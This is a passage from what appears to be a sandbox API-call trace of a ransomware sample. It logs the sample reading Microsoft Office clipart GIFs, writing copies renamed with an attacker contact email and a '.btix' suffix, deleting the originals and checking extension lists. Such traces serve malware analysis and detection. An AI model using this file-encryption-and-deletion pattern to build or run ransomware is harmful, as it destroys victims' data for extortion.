Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.109] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.109] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.109] GetLastError () returned 0x0 [0051.109] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x319e, lpOverlapped=0x0) returned 1 [0051.167] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x31a0, lpOverlapped=0x0) returned 1 [0051.168] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.168] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.168] SetEndOfFile (hFile=0x328) returned 1 [0051.168] CloseHandle (hObject=0x328) returned 1 [0051.170] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.170] SetEndOfFile (hFile=0x344) returned 1 [0051.170] CloseHandle (hObject=0x344) returned 1 [0051.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0051.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.171] lstrlenW (lpString=".doc") returned 4 [0051.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.171] lstrlenW (lpString=".docx") returned 5 [0051.171] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.171] lstrlenW (lpString=".pdf") returned 4 [0051.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.171] lstrlenW (lpString=".xls") returned 4 [0051.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.171] lstrlenW (lpString=".xlsx") returned 5 [0051.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.171] lstrlenW (lpString=".ppt") returned 4 [0051.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.171] lstrlenW (lpString=".zip") returned 4 [0051.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.171] lstrlenW (lpString=".rar") returned 4 [0051.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.172] lstrlenW (lpString=".bz2") returned 4 [0051.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.172] lstrlenW (lpString=".7z") returned 3 [0051.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.172] lstrlenW (lpString=".dbf") returned 4 [0051.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.172] lstrlenW (lpString=".1cd") returned 4 [0051.172] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.172] lstrlenW (lpString=".jpg") returned 4 [0051.172] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.172] lstrlenW (lpString=".doc") returned 4 [0051.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.172] lstrlenW (lpString=".docx") returned 5 [0051.172] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.172] lstrlenW (lpString=".pdf") returned 4 [0051.173] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.173] lstrlenW (lpString=".xls") returned 4 [0051.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.200] lstrlenW (lpString=".xlsx") returned 5 [0051.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.200] lstrlenW (lpString=".ppt") returned 4 [0051.200] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.200] lstrlenW (lpString=".zip") returned 4 [0051.200] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.200] lstrlenW (lpString=".rar") returned 4 [0051.200] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.200] lstrlenW (lpString=".bz2") returned 4 [0051.200] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.201] lstrlenW (lpString=".7z") returned 3 [0051.201] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.201] lstrlenW (lpString=".dbf") returned 4 [0051.201] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.201] lstrlenW (lpString=".1cd") returned 4 [0051.201] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0051.201] lstrlenW (lpString=".jpg") returned 4 [0051.201] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.201] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.201] lstrlenW (lpString="AG00129_.GIF") returned 12 [0051.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.201] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=12482) returned 1 [0051.201] CloseHandle (hObject=0x344) returned 1 [0051.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0051.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.202] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.202] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.202] GetLastError () returned 0x0 [0051.202] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x30c2, lpOverlapped=0x0) returned 1 [0051.225] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x30d0, lpOverlapped=0x0) returned 1 [0051.226] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.226] WriteFile (in: hFile=0x328, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.226] SetEndOfFile (hFile=0x328) returned 1 [0051.226] CloseHandle (hObject=0x328) returned 1 [0051.227] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.227] SetEndOfFile (hFile=0x344) returned 1 [0051.227] CloseHandle (hObject=0x344) returned 1 [0051.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".doc") returned 4 [0051.231] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString=".docx") returned 5 [0051.231] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.231] lstrlenW (lpString=".pdf") returned 4 [0051.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".xls") returned 4 [0051.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".xlsx") returned 5 [0051.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.231] lstrlenW (lpString=".ppt") returned 4 [0051.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".zip") returned 4 [0051.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".rar") returned 4 [0051.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".bz2") returned 4 [0051.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString=".7z") returned 3 [0051.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".dbf") returned 4 [0051.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".1cd") returned 4 [0051.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".jpg") returned 4 [0051.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.231] lstrlenW (lpString=".doc") returned 4 [0051.231] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString=".docx") returned 5 [0051.232] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.232] lstrlenW (lpString=".pdf") returned 4 [0051.232] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.232] lstrlenW (lpString=".xls") returned 4 [0051.232] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.232] lstrlenW (lpString=".xlsx") returned 5 [0051.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.232] lstrlenW (lpString=".ppt") returned 4 [0051.232] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.232] lstrlenW (lpString=".zip") returned 4 [0051.232] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.232] lstrlenW (lpString=".rar") returned 4 [0051.232] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.232] lstrlenW (lpString=".bz2") returned 4 [0051.232] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.232] lstrlenW (lpString=".7z") returned 3 [0051.232] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.232] lstrlenW (lpString=".dbf") returned 4 [0051.232] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.232] lstrlenW (lpString=".1cd") returned 4 [0051.232] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0051.232] lstrlenW (lpString=".jpg") returned 4 [0051.232] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.232] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.232] lstrlenW (lpString="AG00135_.GIF") returned 12 [0051.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.236] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=2596) returned 1 [0051.236] CloseHandle (hObject=0x364) returned 1 [0051.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0051.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.238] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.239] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.239] GetLastError () returned 0x0 [0051.239] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xa24, lpOverlapped=0x0) returned 1 [0051.299] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xa30, lpOverlapped=0x0) returned 1 [0051.300] ReadFile (in: hFile=0x320, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0051.300] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0051.300] SetEndOfFile (hFile=0x2e0) returned 1 [0051.300] CloseHandle (hObject=0x2e0) returned 1 [0051.301] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.301] SetEndOfFile (hFile=0x320) returned 1 [0051.302] CloseHandle (hObject=0x320) returned 1 [0051.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.302] lstrlenW (lpString=".doc") returned 4 [0051.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.302] lstrlenW (lpString=".docx") returned 5 [0051.302] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.303] lstrlenW (lpString=".pdf") returned 4 [0051.303] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString=".xls") returned 4 [0051.303] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString=".xlsx") returned 5 [0051.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.303] lstrlenW (lpString=".ppt") returned 4 [0051.303] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString=".zip") returned 4 [0051.303] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString=".rar") returned 4 [0051.303] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString=".bz2") returned 4 [0051.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString=".7z") returned 3 [0051.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString=".dbf") returned 4 [0051.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString=".1cd") returned 4 [0051.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString=".jpg") returned 4 [0051.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.303] lstrlenW (lpString=".doc") returned 4 [0051.303] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString=".docx") returned 5 [0051.303] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.303] lstrlenW (lpString=".pdf") returned 4 [0051.303] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.303] lstrlenW (lpString=".xls") returned 4 [0051.304] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.304] lstrlenW (lpString=".xlsx") returned 5 [0051.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.304] lstrlenW (lpString=".ppt") returned 4 [0051.304] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.304] lstrlenW (lpString=".zip") returned 4 [0051.304] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.304] lstrlenW (lpString=".rar") returned 4 [0051.304] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.304] lstrlenW (lpString=".bz2") returned 4 [0051.304] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.304] lstrlenW (lpString=".7z") returned 3 [0051.304] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.304] lstrlenW (lpString=".dbf") returned 4 [0051.304] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.304] lstrlenW (lpString=".1cd") returned 4 [0051.304] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0051.304] lstrlenW (lpString=".jpg") returned 4 [0051.304] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.304] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.305] lstrlenW (lpString="AG00142_.GIF") returned 12 [0051.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.383] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=15308) returned 1 [0051.383] CloseHandle (hObject=0x364) returned 1 [0051.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0051.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.383] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0051.383] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | 